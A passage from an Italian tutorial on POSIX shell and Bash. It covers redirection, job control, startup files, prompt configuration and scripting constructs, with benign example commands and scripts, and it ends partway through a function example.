[*n*] > ***file***	La ridirezione dell'output fa sì che il file il cui nome risulta dall'espansione della parola alla destra del simbolo '**>**' venga aperto in scrittura per ricevere quanto proveniente dal descrittore di file ***n***, oppure, se non indicato, dallo standard output pari al descrittore di file numero uno. Di solito, se il file da aprire in scrittura esiste già, viene sovrascritto.
[*n*] >> ***file***	La ridirezione dell'output fatta in questo modo fa sì che se il file da aprire in scrittura esiste già, questo non sia sovrascritto, ma gli siano semplicemente aggiunti i dati.
<< [-] ***parola_di_delimitazione*** ***testo*** ... ***parola_di_delimitazione***	Si tratta di un tipo di ridirezione particolare e poco usato. Istruisce la shell di leggere le righe successive fino a quando viene incontrata la parola indicata (senza spazi iniziali); successivamente invia quanto accumulato in questo modo allo standard input del comando indicato. In pratica, la parola indica la fine della fase di lettura. Non è possibile fare giungere l'input da una fonte diversa. Se la parola viene racchiusa tra virgolette, quelle usate per la protezione delle stringhe, si intende che il testo contenuto non deve essere espanso. Altrimenti, il testo viene espanso come di consueto. Se si usa il trattino ('**<<-**'), significa che le tabulazioni iniziali nel testo vengono eliminate.
[*n*] <&***m***	In questo modo si unisce il descrittore ***m*** al descrittore ***n*** di ingresso oppure, in mancanza dell'indicazione di ***n***, si unisce allo standard input.
[*n*] <&-	Chiude il descrittore ***n*** oppure, in mancanza dell'indicazione di ***n***, chiude lo standard input.
[*n*] >&***m***	In questo modo si unisce il descrittore ***n*** al descrittore ***m*** di uscita oppure, in mancanza dell'indicazione di ***n***, si unisce lo standard output.
[*n*] >&-	Chiude il descrittore ***n*** oppure, in mancanza dell'indicazione di ***n***, chiude lo standard output.
[*n*] <> ***file***	In questo modo si apre il file indicato in lettura e scrittura, collegando i due flussi al descrittore ***n***. Se questo descrittore non è specificato si intende l'utilizzo di entrambi standard input e standard output.

La tabella successiva riduce i modelli alle situazioni più comuni.

Sintassi	Descrizione
`<` *file*	Invia il contenuto del file allo standard input.
`>` *file*	Crea o sovrascrive il file con quanto ottenuto dallo standard output.
`2>` *file*	Crea o sovrascrive il file con quanto ottenuto dallo standard error.
`>>` *file*	Crea o estende il file con quanto ottenuto dallo standard output.
`2>>` *file*	Crea o estende il file con quanto ottenuto dallo standard error.
`2>&1`	Invia lo standard error nello standard output.

Segue la descrizione di alcuni esempi.

- `$` **`sort < ./elenco`** [*Invio*]

  Emette il contenuto del file '`elenco`' (che si trova nella directory corrente) riordinando le righe. Il programma '**`sort`**' riceve il file da ordinare dallo standard input.

- `$` **`sort 0< ./elenco`** [*Invio*]

  Esegue la stessa cosa dell'esempio precedente, con la differenza che viene indicato esplicitamente il descrittore dello standard input.

- `$` **`ls > ./dir.txt`** [*Invio*]

  Crea il file '`dir.txt`' nella directory corrente e vi inserisce l'elenco dei file della directory corrente.

- `$` **`ls 1> ./dir.txt`** [*Invio*]

  Esegue la stessa operazione dell'esempio precedente con la differenza che il descrittore che identifica lo standard output viene indicato esplicitamente.

- `$` **`ls XtgEWSjhy * 2> ./errori.txt`** [*Invio*]

  Crea il file '`errori.txt`' nella directory corrente e vi inserisce i messaggi di errore generati da '**`ls`**' quando si accorge che il file '`XtgEWSjhy`' non esiste.

- `$` **`ls >> ./dir.txt`** [*Invio*]

  Aggiunge al file '`dir.txt`' l'elenco dei file della directory corrente.

- `$` **`ls 1>> ./dir.txt`** [*Invio*]

  Esegue la stessa operazione dell'esempio precedente con la differenza che il descrittore che identifica lo standard output viene indicato esplicitamente.

- `$` **`ls XtgEWSjhy * 2>> ./errori.txt`** [*Invio*]

  Aggiunge al file '`errori.txt`' i messaggi di errore generati da '**`ls`**' quando si accorge che il file '`XtgEWSjhy`' non esiste.

- $ **ls XtgEWSjhy * > ./tutto.txt 2>&1** [*Invio*]

  Crea il file '`tutto.txt`' nella directory corrente e vi inserisce i messaggi di errore generati da '**`ls`**' quando si accorge che il file '`XtgEWSjhy`' non esiste, insieme all'elenco dei file esistenti.

19.2.4.1 Ridirezione e script

Lo standard input di uno script è diretto al primo comando a essere eseguito che sia in grado di riceverlo. Lo standard output e lo standard error di uno script provengono dai comandi che emettono qualcosa attraverso quei canali.

Mentre il fatto che l'output derivi dai comandi contenuti nello script dovrebbe essere intuitivo, il modo con cui è possibile ricevere l'input potrebbe non esserlo altrettanto. Il problema di creare uno script che sia in grado di ricevere dati dallo standard input si pone in particolare quando si deve realizzare il classico filtro di input per un file '`/etc/printcap`'. Nell'esempio seguente, il filtro di input riceve dati dallo standard input attraverso '**`cat`**'; quindi, con un condotto si arriva a un testo stampabile che viene inviato alla stampante predefinita (esistono molte interpretazioni differenti del programma '**`unix2dos`**'; in questo caso si considera che si tratti di un filtro che elabora ciò che gli viene passato attraverso lo standard input, restituendo il risultato dallo standard output).

```
#!/bin/sh
# /var/spool/text/input-filter
cat | /usr/bin/unix2dos | lpr
```

Un'altra cosa interessante in uno script è l'uso delle parentesi graffe per raggruppare un insieme di istruzioni che devono generare un flusso di dati comune da inviare a un solo comando:

```
#!/bin/sh
{ ls -l / ; ls /bin ; } | sort
```

In questo caso, vengono eseguiti i due comandi '**`ls`**' e quanto emesso da questi attraverso lo standard output viene inviato complessivamente a '**`sort`**'.

19.2.5 Controllo dei *job*

La shell standard prevede la gestione dei *job*, ovvero dei «gruppi di elaborazione», che in questo caso rappresentano raggruppamenti di processi generati da un solo comando.

Il controllo dei gruppi di elaborazione si riferisce alla possibilità di sospendere e ripristinare selettivamente l'esecuzione dei processi. La shell associa un gruppo di elaborazione a ogni condotto e mantiene una tabella di quelli in esecuzione, la quale può essere letta attraverso il comando interno '**`jobs`**'. Quando la shell avvia un processo sullo sfondo (ovvero in modo asincrono), emette una riga simile alla seguente, con cui indica, rispettivamente, il numero del gruppo di elaborazione (tra parentesi quadre) e il numero dell'ultimo processo (il PID) del condotto relativo:

```
[1] 12432
```

Si distinguono due tipi di gruppi di elaborazione:

- in primo piano o in *foreground*;
- sullo sfondo, o asincroni, o in *background*.

Un gruppo di elaborazione è in primo piano quando è collegato alla tastiera e al video del terminale che si sta utilizzando, mentre si trova a funzionare sullo sfondo quando è indipendente e asincrono rispetto all'attività del terminale.

Un gruppo di elaborazione in esecuzione in primo piano può essere sospeso immediatamente attraverso l'invio del carattere di sospensione, il quale si ottiene di solito con [*Ctrl z*], in modo da avere di nuovo a disposizione l'invito della shell. In alternativa si può sospendere un gruppo di elaborazione in esecuzione in primo piano, con ritardo, attraverso l'invio del carattere di sospensione con ritardo, che di solito si ottiene con [*Ctrl y*], in modo da avere di nuovo a disposizione l'invito della shell, ma solo quando il processo in questione tenta di leggere l'input dal terminale. È possibile gestire i gruppi di elaborazione sospesi attraverso i comandi '**`bg`**' e '**`fg`**'. Il comando '**`bg`**' consente di fare riprendere sullo sfondo l'esecuzione del gruppo di elaborazione sospeso, mentre '**`fg`**' consente di farne riprendere l'esecuzione in primo piano. Il comando '**`kill`**' consente di eliminare definitivamente il gruppo di elaborazione.

Per fare riferimento ai gruppi di elaborazione sospesi si utilizza il carattere '`%`'.

Riferimento ai gruppi di elaborazione	Descrizione
`%`***n***	Il simbolo '`%`' seguito da un numero fa riferimento al gruppo di elaborazione con quel numero.
`%`***prefisso***	Il simbolo '`%`' seguito da una stringa fa riferimento a un gruppo di elaborazione con un nome che inizia con quel prefisso. Se esiste più di un gruppo di elaborazione sospeso con lo stesso prefisso si ottiene una segnalazione di errore.
`%?`***stringa***	Il simbolo '`%`' seguito da '`?`' e da una stringa fa riferimento a un gruppo di elaborazione con una riga di comando contenente quella stringa. Se esiste più di un gruppo di elaborazione del genere si ottiene una segnalazione di errore.
`%%` `%+`	Le notazioni '`%%`' o '`%+`' fanno riferimento al gruppo di elaborazione corrente dal punto di vista della shell, il quale corrisponde all'ultimo a essere stato sospeso quando questo si trovava a funzionare in primo piano.
`%-`	La notazione '`%-`' fa riferimento al penultimo gruppo di elaborazione sospeso. Utilizzando i comandi '**`bg`**' e '**`fg`**', in mancanza di un riferimento esplicito al gruppo di elaborazione, viene preso in considerazione quello «corrente» dal punto di vista della shell.

Segue la descrizione di alcuni esempi.

- `$` **`fg %1`** [*Invio*]

  Porta in primo piano il gruppo di elaborazione numero uno.

- `$` **`%1`** [*Invio*]

  Porta in primo piano il gruppo di elaborazione numero uno.

- `$` **`bg %1`** [*Invio*]

Mette sullo sfondo il gruppo di elaborazione numero uno.

- $ **%1 &** [*Invio*]

  Mette sullo sfondo il gruppo di elaborazione numero uno.

- $ **bg** [*Invio*]

  Mette sullo sfondo il gruppo di elaborazione corrente.

- $ **fg** [*Invio*]

  Porta in primo piano il gruppo di elaborazione corrente.

19.2.6 Esecuzione dei comandi

Dopo che un comando è stato suddiviso in parole, se il risultato è quello di un comando singolo, con eventuali argomenti, vengono eseguite le azioni seguenti.

- Se il nome del comando contiene una o più barre ('`/`'), questo viene inteso essere un percorso del file system e di conseguenza il comando è inteso riferirsi precisamente a un file eseguibile, per cui la shell tenta di avviarlo.
- Se il nome del comando non contiene alcuna barra ('`/`'):
  - se esiste una funzione di shell con quel nome, questa viene eseguita (purché sia disponibile la gestione delle funzioni);
  - se esiste un comando interno con quel nome, questo viene eseguito;
  - viene cercato all'interno del percorso di ricerca degli eseguibili contenuto nella variabile ***PATH***.

  Se la ricerca fallisce si ottiene una segnalazione di errore e la restituzione di un valore di uscita diverso da zero.

Quando la shell ha determinato che si tratta di un eseguibile esterno ed è riuscita a trovarlo, vengono svolte le azioni seguenti.

- La shell tenta di avviarlo.
- La shell avvia il programma configurando gli argomenti nel modo consueto: il primo, cioè zero, contiene il nome del programma, quelli successivi, contengono gli argomenti forniti eventualmente nella riga di comando.
- Se non si tratta di un programma e nemmeno di una directory (in tal caso verrebbe comunque emessa una segnalazione di errore), viene inteso essere uno script di shell. In tal caso viene generata una copia della shell (subshell) per la sua esecuzione, la quale si reinizializza in modo da presentare allo script una situazione simile a quella di una nuova shell.

- Se il programma è un file di testo che inizia con '**#!**', si intende che si tratti di uno script che deve essere interpretato attraverso il programma indicato nella parte restante della prima riga. La shell esegue quindi quel programma dando come argomenti il nome dello script e altri eventuali argomenti ricevuti nella riga di comando originale.

19.2.7 Configurazione di ambiente

Quando viene avviato un programma gli viene fornito un vettore di stringhe che rappresenta la configurazione dell'ambiente. Si tratta di una lista di coppie di nomi e valori loro assegnati, espressi nella forma seguente:

nome*=*valore

La shell permette di manipolare la configurazione dell'ambiente in molti modi. Quando la shell viene avviata, esamina la sua configurazione di ambiente e crea una variabile per ogni nome trovato. Queste variabili vengono rese automaticamente disponibili, nello stato in cui sono in quel momento, ai processi generati dalla shell. Questi processi ereditano così l'ambiente. Possono essere aggiunte altre variabili alla configurazione di ambiente attraverso l'uso del comando interno '**export**', mentre è possibile eliminare delle variabili attraverso il comando interno '**unset**'.

Le variabili create all'interno della shell che non vengono esportate nell'ambiente, attraverso il comando '**export**', o che non vengono create attraverso il comando '**declare**' (con l'opzione '**-x**'), non sono disponibili nell'ambiente dei processi discendenti (ovvero quelli generati durante il funzionamento della shell stessa).

Se si vuole fornire una configurazione di ambiente speciale all'esecuzione di un programma, basta anteporre alla riga di comando l'assegnamento di nuovi valori alle variabili di ambiente che si intendono modificare. L'esempio seguente avvia il programma '**mio_programma**' sullo sfondo con un percorso di ricerca diverso, senza però influenzare lo stato generale della configurazione di ambiente della shell.

$ **PATH=/bin:/sbin mio_programma &** [*Invio*]

19.2.8 Particolarità importanti della shell Bash

Bash è una shell POSIX con delle estensioni proprie, piuttosto sofisticate. Nei sistemi GNU, la shell Bash è normalmente quella predefinita ed è bene conoscere alcune particolarità di questa shell, perché non sempre viene configurata per un'aderenza stretta alle specifiche POSIX.

19.2.8.1 File di configurazione

La shell Bash messa in funzione a seguito di un accesso (*login*), se non è stata specificata l'opzione '**--noprofile**':

- tenta di leggere ed eseguire il contenuto di '`/etc/profile`';
- tenta di leggere ed eseguire il contenuto di '`~/.bash_profile`', se non ci riesce, tenta con '`~/.bash_login`' e se anche questo file non è accessibile o non esiste, tenta ancora con il file '`~/.profile`'.

Al termine della sessione di lavoro:

- se esiste, legge ed esegue il contenuto di '`~/.bash_logout`'.

Quando la shell Bash funziona in modo interattivo, senza essere una shell di *login*, se non è stata specificata una delle opzioni '**`--norc`**' o '**`--rcfile`**', sempre che esista, legge ed esegue il contenuto di '`~/.bashrc`'.

Spesso si include l'esecuzione del contenuto del file '`~/.bashrc`' anche nel caso di shell di *login*, attraverso un accorgimento molto semplice: all'interno del file '`~/.bash_profile`' si includono le righe seguenti.

```
if [ -f ~/.bashrc ]
then
    . ~/.bashrc
fi
```

Il significato è semplice: viene controllata l'esistenza del file '`~/.bashrc`' e se viene trovato viene caricato ed eseguito.

Quando la shell Bash viene utilizzata in modo non interattivo, ovvero per eseguire uno script, controlla il contenuto della variabile di ambiente ***BASH_ENV***; se questa variabile non è vuota esegue il file nominato al suo interno.

In pratica, attraverso la variabile ***BASH_ENV*** si indica un file di configurazione che si vuole sia eseguito dalla shell prima dello script. In situazioni normali questa variabile è vuota, oppure non esistente del tutto.

Se l'eseguibile della shell Bash viene avviato con il nome '**`sh`**' (per esempio attraverso un collegamento simbolico), per quanto riguarda l'utilizzo dei file di configurazione si comporta come la shell Bourne, mentre, per il resto, il suo funzionamento è conforme alla shell POSIX.

Nel caso di shell di *login*, tenta di eseguire solo '`/etc/profile`' e '`~/.profile`', rispettivamente. L'opzione '**`--noprofile`**' può essere utilizzata per disabilitare la lettura di questi file di avvio.

Se l'eseguibile '**`bash`**' viene avviato in modalità POSIX, attraverso l'opzione '**`--posix`**', allora la shell segue lo standard POSIX per i file di avvio. In tal caso, per una shell di *login* o interattiva viene utilizzato il nome del file contenuto nella variabile ***ENV***.

Tabella 19.29. A seconda del modo con cui l'eseguibile della shell Bash viene avviato si utilizzano diversi tipi di file di configurazione.

Comando	Tipo	All'avvio	Alla conclusione
`bash`	login	'`/etc/profile`', più '`~/.bash_profile`', oppure '`~/.bash_login`', oppure '`~/.profile`'	'`~/.bash_logout`'
`bash`	interattiva	'`~/.bashrc`'	
`bash`	non interattiva	il file indicato nella variabile di ambiente ***BASH_ENV***	
`sh`	login	'`/etc/profile`', più '`~/.profile`'	
`sh`	interattiva	il file indicato nella variabile di ambiente ***ENV***	

Comando	Tipo	All’avvio	Alla conclusione
`sh`	non interattiva	--	
`bash --posix`	login	il file indicato nella variabile di ambiente ***ENV***	
`bash --posix`	interattiva	il file indicato nella variabile di ambiente ***ENV***	
`bash --posix`	non interattiva	--	

19.2.8.2 Opzioni

La shell Bash interpreta due tipi di opzioni: a carattere singolo e multicarattere. Le opzioni multicarattere devono precedere necessariamente quelle a carattere singolo.

Opzione	Descrizione
`--norc`	Riguarda la modalità interattiva: non esegue il file di configurazione ‘`~/.bashrc`’. Quando si avvia l’eseguibile della shell Bash utilizzando il nome ‘**`sh`**’ per mantenere la compatibilità con la shell Bourne, questo file di configurazione non deve essere letto e questa opzione è sottintesa.
`--noprofile`	Riguarda la modalità interattiva di *login*: non esegue i file di inizializzazione ‘`/etc/profile`’, ‘`~/.bash_profile`’, ‘`~/.bash_login`’ o ‘`~/.bashrc`’.
`--rcfile` ***file***	Riguarda la modalità interattiva: non esegue il file di inizializzazione personalizzato ‘`~/.bashrc`’, ma quello indicato come argomento.
`--version`	Visualizza il numero di versione.
`--login`	Fa in modo che funzioni in qualità di shell di *login*.
`--noediting`	Quando è avviata in modalità interattiva, non usa la libreria GNU Readline per gestire la riga di comando.
`--posix`	Fa in modo di adeguarsi il più possibile alle specifiche POSIX.
`-c` ***stringa***	Vengono eseguiti i comandi contenuti nella stringa. Eventuali argomenti successivi vengono passati ai parametri posizionali a partire dal parametro zero.
`-i`	Forza l’esecuzione in modalità interattiva.
`-s`	La shell legge i comandi dallo standard input.

19.2.8.3 Uso sommario della tastiera

La shell Bash fornisce un sistema di gestione della tastiera molto complesso, attraverso un gran numero di funzioni. Teoricamente è possibile ridefinire ogni tasto speciale e ogni combinazione di tasti a seconda delle proprie preferenze. In pratica, non è consigliabile un approccio del genere, dal momento che tutto questo serve solo per gestire la riga di comando.

La tabella 19.31 mostra un elenco delle funzionalità dei tasti e delle combinazioni più importanti.

Tabella 19.31. Elenco delle funzionalità dei tasti e delle combinazioni più importanti.

Comando	Descrizione
Caratteri normali	Inseriscono semplicemente i caratteri corrispondenti.
[*Ctrl b*]	Sposta il cursore all'indietro di una posizione.
[*Ctrl f*]	Sposta il cursore in avanti di una posizione.
[*Backspace*]	Cancella il carattere alla sinistra del cursore.
[*Ctrl d*]	Cancella il carattere corrispondente alla posizione del cursore.
[*Ctrl a*]	Sposta il cursore all'inizio della riga.
[*Ctrl e*]	Sposta il cursore alla fine della riga.
[*Alt f*]	Sposta il cursore in avanti di una parola.
[*Alt b*]	Sposta il cursore all'indietro di una parola.
[*Ctrl l*]	Ripulisce lo schermo.

Generalmente funzionano anche i tasti freccia per spostare il cursore. In particolare, i tasti [*freccia-su*] e [*freccia-giù*] permettono di richiamare le righe di comando inserite precedentemente. Quando si preme un tasto o una combinazione non riconosciuta, si ottiene una segnalazione di errore.

Eventualmente si può intervenire nella configurazione della libreria Readline, attraverso il file '`/etc/inputrc`' oppure anche '`~/.inputrc`'. L'esempio seguente si riferisce alla configurazione necessaria per l'uso ottimale di una console virtuale su un elaboratore con architettura x86.

```
# Abilita l'inserimento di caratteri a 8 bit.
set meta-flag           on

# Disabilita la conversione dei caratteri con l'ottavo bit attivo
# in sequenze di escape.
set convert-meta        off

# Abilita la visualizzazione di caratteri a 8 bit.
set output-meta         on

# Modifica l'abbinamento con i tasti rispetto a determinati comportamenti.
"\e[1~": beginning-of-line      # [home]                era C-a
"\e[4~": end-of-line            # [fine]                era C-e
"\e[3~": delete-char            # [canc]                era C-d
"\e[5~": backward-word          # [pagina su]           era M-b
"\e[6~": forward-word           # [pagina giù]          era M-f
```

19.2.8.4 Invito o «prompt»

Quando la shell funziona in modo interattivo, può mostrare due tipi di invito:

- quello primario definito nella variabile ***PS1*** quando è pronta a ricevere un comando;
- quello secondario definito nella variabile ***PS2*** quando necessita di maggiori dati per completare un comando.

Il contenuto di queste variabili è una stringa che può essere composta da alcuni simboli speciali contrassegnati dal carattere di escape ('****'); i principali sono descritti nella tabella 19.33.

Tabella 19.33. Elenco di alcuni codici speciali per definire l'invito con la shell Bash.

Codice	Descrizione
`\t`	Orario attuale nel formato ***hh***:***mm***:***ss*** (ore, minuti, secondi).
`\d`	Data attuale.
`\n`	Interruzione di riga.
`\s`	Nome della shell.
`\w`	Percorso assoluto della directory corrente.
`\W`	Nome finale del percorso della directory corrente (*basename*).
`\u`	Utente.
`\h`	Nome dell'elaboratore.
`\#`	Numero del comando attuale.
`\!`	Numero del comando nello storico.
`\$`	'**#**' se UID = 0; '**$**' se UID > 0.
`\`***nnn***	Carattere corrispondente al numero ottale indicato.
`\\`	Una barra obliqua inversa singola ('****').
`\[`	Inizio di una sequenza di controllo.
`\]`	Fine di una sequenza di controllo.

In particolare merita attenzione '**\$**', il cui significato potrebbe non essere chiaro dalla descrizione fatta nella tabella. Rappresenta un simbolo che cambia in funzione del livello di importanza dell'utente: se si tratta di un UID pari a zero (se cioè si tratta dell'utente '**root**') corrisponde al simbolo '**#**', negli altri casi corrisponde al simbolo '**$**'.

La stringa dell'invito, dopo la decodifica dei codici di escape appena visti, viene eventualmente espansa attraverso i processi di sostituzione dei parametri e delle variabili, della sostituzione dei comandi, dell'espressione aritmetica e della suddivisione delle parole.

L'esempio seguente fa in modo di ottenere un invito che visualizza il nome dell'utente, il nome dell'elaboratore, la directory corrente e il simbolo '**$**' o '**#**' a seconda del tipo di utente:

$ **PS1='\u@\h:\w\$ '** [*Invio*]

```
tizio@dinkel:~$
```

Disponendo di una shell Bash, è possibile costruire anche un invito dinamico, con l'ausilio di funzioni. Naturalmente, resta però la necessità di garantire una certa compatibilità anche con delle shell POSIX standard. L'esempio seguente rappresenta una porzione di codice che potrebbe essere inserita nel file '`/etc/profile`':

```
dynamic_prompt () {
    if [ $? = 0 ]
    then
        echo ":)"
    else
        echo ":("
    fi
}
export -f dynamic_prompt
...
PS1="\u@\h:\w\\$ "
...
if [ "$BASH" != "" ]
then
    #
    # This is BASH.
    #
    PS1="\$(dynamic_prompt) $PS1"
fi
export PS1
```

Come si può vedere, la variabile di ambiente ***PS1*** viene dichiarata inizialmente in modo compatibile con le shell standard, quindi, se si riesce a verificare che si tratta di una shell Bash, il contenuto della variabile viene modificato in modo da includere la funzione '**`dynamic_prompt`**', la quale serve a mostrare un «sorriso» se l'ultimo comando è terminato con successo, ovvero restituendo il valore *Vero*.

19.3 Programmazione

La programmazione con una shell POSIX implica la realizzazione di file script. Alcune istruzioni sono particolarmente utili nella realizzazione di questi programmi, anche se non sono necessariamente utilizzabili solo in questa circostanza.

19.3.1 Caratteristiche di uno script

Nei sistemi Unix esiste una convenzione attraverso la quale si automatizza l'esecuzione dei file script. Prima di tutto, uno script è un normalissimo file di testo contenente delle istruzioni che possono essere eseguite attraverso un interprete. Per eseguire uno script occorre quindi avviare il programma interprete e informarlo di quale script questo deve eseguire. Per esempio, il comando seguente avvia l'eseguibile '**`sh`**' come interprete dello script '**`pippo`**', ovvero il file '`pippo`' collocato nella directory corrente:

$ **`sh pippo`** [*Invio*]

Per evitare questa trafila, si può dichiarare all'inizio del file script il programma che deve occuparsi di interpretarlo. Per questo si usa la sintassi seguente:

#!***percorso_del_programma_interprete***

Quindi, si attribuisce a questo file il permesso di esecuzione:

$ **chmod +x pippo** [*Invio*]

Quando si tenta di avviare questo file come se si trattasse di un programma, il sistema avvia in realtà l'interprete.

Perché tutto possa funzionare, è necessario che il programma indicato nella prima riga dello script sia raggiungibile così come è stato indicato, cioè sia provvisto del percorso necessario. Per esempio, nel caso di uno script per la shell '**sh**' ('/bin/sh'), la prima riga deve essere composta così:

```
#!/bin/sh
...
...
```

Il motivo per il quale si utilizza il simbolo '**#**' iniziale, è quello di permettere ancora l'utilizzo dello script nel modo normale, come argomento del programma interprete: rappresentando un commento non interferisce con il resto delle istruzioni.

Come appena accennato, il simbolo '**#**' introduce un commento che termina alla fine della riga, cioè qualcosa che non ha alcun valore per l'interprete; inoltre, le righe vuote e quelle bianche vengono ignorate nello stesso modo.

19.3.2 Strutture

Per la formulazione di comandi complessi si possono usare le strutture di controllo e di iterazione tipiche dei linguaggi di programmazione più comuni. Queste strutture sono particolarmente indicate per la preparazione di script di shell, ma possono essere usate anche nella riga di comando di una shell interattiva.

È importante ricordare che il punto e virgola singolo ('**;**') viene utilizzato per indicare una separazione e può essere rimpiazzato da uno o più codici di interruzione di riga.

19.3.2.1 for

Il comando '**for**' esegue una scansione di elementi e in corrispondenza di questi esegue una lista di comandi.

```
for variabile [in valore...]
do
    lista_di_comandi
done
```

L'elenco di parole che segue la sigla '**in**' viene espanso, generando una lista di elementi; la variabile indicata dopo '**for**' viene posta, di volta in volta, al valore di ciascun elemento di questa lista; infine, la lista di comandi che segue '**do**' viene eseguita ogni volta (una volta per ogni valore disponibile). Se la sigla '**in**' (e i suoi argomenti) viene omessa, il comando '**for**'

esegue la lista di comandi (‘**do**’) una volta per ogni parametro posizionale esistente. In pratica è come se venisse usato: ‘**in $@**’.

Il valore restituito da ‘**for**’ è quello dell’ultimo comando eseguito all’interno della lista ‘**do**’, oppure zero se nessun comando è stato eseguito.

L’esempio seguente mostra uno script che, una volta eseguito, emette in sequenza gli argomenti che gli sono stati forniti:

```
#!/bin/sh
for i in $@
do
    echo $i
done
```

L’esempio seguente mostra uno script un po’ più complicato che si occupa di archiviare, singolarmente, i file e le directory che si mettono come argomenti:

```
#!/bin/sh
ELENCO_DA_ARCHIVIARE=$@
for DA_ARCHIVIARE in $ELENCO_DA_ARCHIVIARE
do
    tar czvf ${DA_ARCHIVIARE}.tgz $DA_ARCHIVIARE
done
```

19.3.2.2 case

Il comando ‘**case**’ permette di eseguire una scelta nell’esecuzione di varie liste di comandi. La scelta viene fatta confrontando una parola (di solito una variabile) con dei modelli. Se viene trovata una corrispondenza con uno dei modelli, la lista di comandi relativa viene eseguita.

```
case parola in
    [modello [ | modello]... ) lista_di_comandi ;; ]
    ...
    [*) lista_di_comandi ;; ]
esac
```

La parola che segue ‘**case**’ viene espansa e quindi confrontata con ognuno dei modelli, usando le stesse regole dell’espansione di percorso (i nomi dei file). La barra verticale (‘**|**’) viene usata per separare i modelli quando questi rappresentano possibilità diverse di un’unica scelta.

Quando viene trovata una corrispondenza, viene eseguita la lista di comandi corrispondente. Dopo il primo confronto riuscito, non ne vengono controllati altri dei successivi. L’ultimo modello può essere ‘***)**’, corrispondente a qualunque valore, con cui si specifica un’alternativa finale in mancanza di un’altra corrispondenza.

L’esempio seguente mostra uno script che fa apparire un messaggio diverso a seconda dell’argomento fornitogli:

```
#!/bin/sh
case $1 in
    -a | -A | --alpha)     echo "alpha"    ;;
    -b)                    echo "bravo"    ;;
    -c)                    echo "charlie"  ;;
    *)                     echo "opzione sconosciuta" ;;
esac
```

Come si può notare, per selezionare '**alpha**' si possono utilizzare tre opzioni diverse.

19.3.2.3 if

Il comando '**if**' permette di eseguire liste di comandi differenti, in funzione di una o più condizioni, espresse anch'esse in forma di lista di comandi.

```
if lista_condizione
then
    lista_di_comandi
[elif lista_condizione
then
    lista_di_comandi]
...
[else
    lista_di_comandi]
fi
```

Inizialmente viene eseguita la lista che segue '**if**', in qualità di condizione. Se il valore restituito da questa lista è zero (cioè *Vero*, ai fini della shell), allora viene eseguita la lista seguente '**then**' e il comando termina. Altrimenti viene eseguita ogni '**elif**' in sequenza, fino a che ne viene trovata una la cui condizione si verifica. Se nessuna condizione si verifica, viene eseguita la lista che segue '**else**', sempre che esista.

L'esempio seguente mostra uno script che fa apparire un messaggio di avvertimento se non è stato utilizzato alcun argomento, altrimenti si limita a visualizzarli:

```
#!/bin/sh
if [ $# = 0 ]
then
    echo "devi fornire almeno un argomento"
else
    echo $@
fi
```

L'esempio seguente mostra uno script attraverso il quale si tenta di creare una directory e se l'operazione fallisce viene emessa una segnalazione di errore:

```
#!/bin/sh
if ! mkdir deposito
then
    echo "Non è stato possibile creare la directory \"deposito\""
else
    echo "È stata creata la directory \"deposito\""
fi
```

È importante comprendere subito che le parentesi quadre sono un sinonimo del comando '**test**' e come tali **devono essere distaccate** da ciò che appare prima e dopo. Il comando '**test**' viene descritto nella sezione 19.3.4 e la tabella 19.49 riporta le espressioni che con questo comando possono essere valutate.

19.3.2.4 while

Il comando '**while**' permette di eseguire un gruppo di comandi in modo ripetitivo mentre una certa condizione continua a dare il risultato *Vero*.

```
while lista_condizione
do
    lista_di_comandi
done
```

Il comando '**while**' esegue ripetitivamente la lista che segue '**do**' finché la lista che rappresenta la condizione continua a restituire il valore zero (*Vero*).

Lo script dell'esempio seguente contiene un ciclo perpetuo, in cui viene richiesto di inserire qualcosa, ma solo se si inserisce la stringa '**fine**' si conclude l'iterazione:

```
#!/bin/sh
RISPOSTA="continua"
while [ "$RISPOSTA" != "fine" ]
do
    echo "usa la parola \"fine\" per terminare"
    read RISPOSTA
done
```

19.3.2.5 until

Il comando '**until**' permette di eseguire un gruppo di comandi in modo ripetitivo mentre una certa condizione continua a dare il risultato *Falso*.

```
until lista_condizione
do
    lista_di_comandi
done
```

Il comando '**until**' è analogo a '**while**', cambia solo l'interpretazione della lista che rappresenta la condizione nel senso che il risultato di questa viene invertito (negazione logica). In generale, per avere maggiori garanzie di compatibilità conviene utilizzare solo il comando '**while**', invertendo opportunamente la condizione.

19.3.2.6 Funzioni

Attraverso le funzioni è possibile dare un nome a un gruppo di comandi, in modo da poterlo richiamare come si fa per un comando interno normale. Sotto questo aspetto, le funzioni vengono impiegate normalmente all'interno di file script.

```
[function] nome () {
    lista_di_comandi
}
```

Le funzioni vengono eseguite nel contesto della shell corrente e quindi non vengono attivati altri processi per la loro interpretazione (ciò al contrario di quanto capita quando viene avviata l'interpretazione di un nuovo script).

La lista di comandi viene eseguita ogni volta che il nome della funzione è utilizzato come comando. Il valore restituito dalla funzione è quello dell'ultimo comando a essere eseguito all'interno di questa.

Pertanto, la funzione della shell può restituire solo un valore di uscita (*exit status*).

Quando viene eseguita una funzione, i parametri posizionali contengono gli argomenti di questa funzione e anche '**$#**' si espande in un valore corrispondente alla situazione. Tuttavia, il parametro posizionale zero continua a restituire il valore precedente, di solito il nome dello script.

All'interno della funzione possono essere dichiarate delle variabili locali usando la parola chiave '**local**', prima della dichiarazione:

```
local nome [=valore_iniziale]
```

È possibile utilizzare il comando interno '**return**' per concludere anticipatamente l'esecuzione della funzione. Al termine dell'esecuzione della funzione, i parametri posizionali riacquistano il loro contenuto precedente e l'esecuzione dello script riprende dal comando seguente alla chiamata della funzione.

Se la shell lo consente, le funzioni possono essere esportate e rese disponibili a una sua copia (subshell) utilizzando il comando interno '**`export`**', così come si fa per le variabili di ambiente.

L'esempio seguente mostra uno script che prima dichiara una funzione denominata '**`messaggio`**' e subito dopo la esegue semplicemente nominandola come un comando qualsiasi:

```
#!/bin/sh
messaggio () {
    echo "ciao,"
    echo "bella giornata vero?"
}

messaggio
```

Nell'esempio seguente, una funzione si occupa di emettere il riepilogo della sintassi per l'uso di un ipotetico script:

```
function sintassi () {
    echo "al {--latex | --html | --txt | --check}"
    echo ""
    echo "--latex    esegue la conversione in latex;"
    echo "--html     esegue la conversione in html;"
    echo "--txt      esegue la conversione in testo normale;"
    echo "--check    esegue il controllo sintattico SGML;"
}
```

Nell'esempio seguente, si utilizza il comando '**`return`**' per fare in modo che l'esecuzione della funzione termini in un punto determinato restituendo un valore stabilito. Lo scopo dello script è quello di verificare che esista il file '`pippo`' nella directory '`/var/log/packages/`':

```
#!/bin/sh
function verifica() {
    if [ -e "/var/log/packages/$1" ]
    then
        return 0
    else
        return 1
    fi
}

if verifica pippo
then
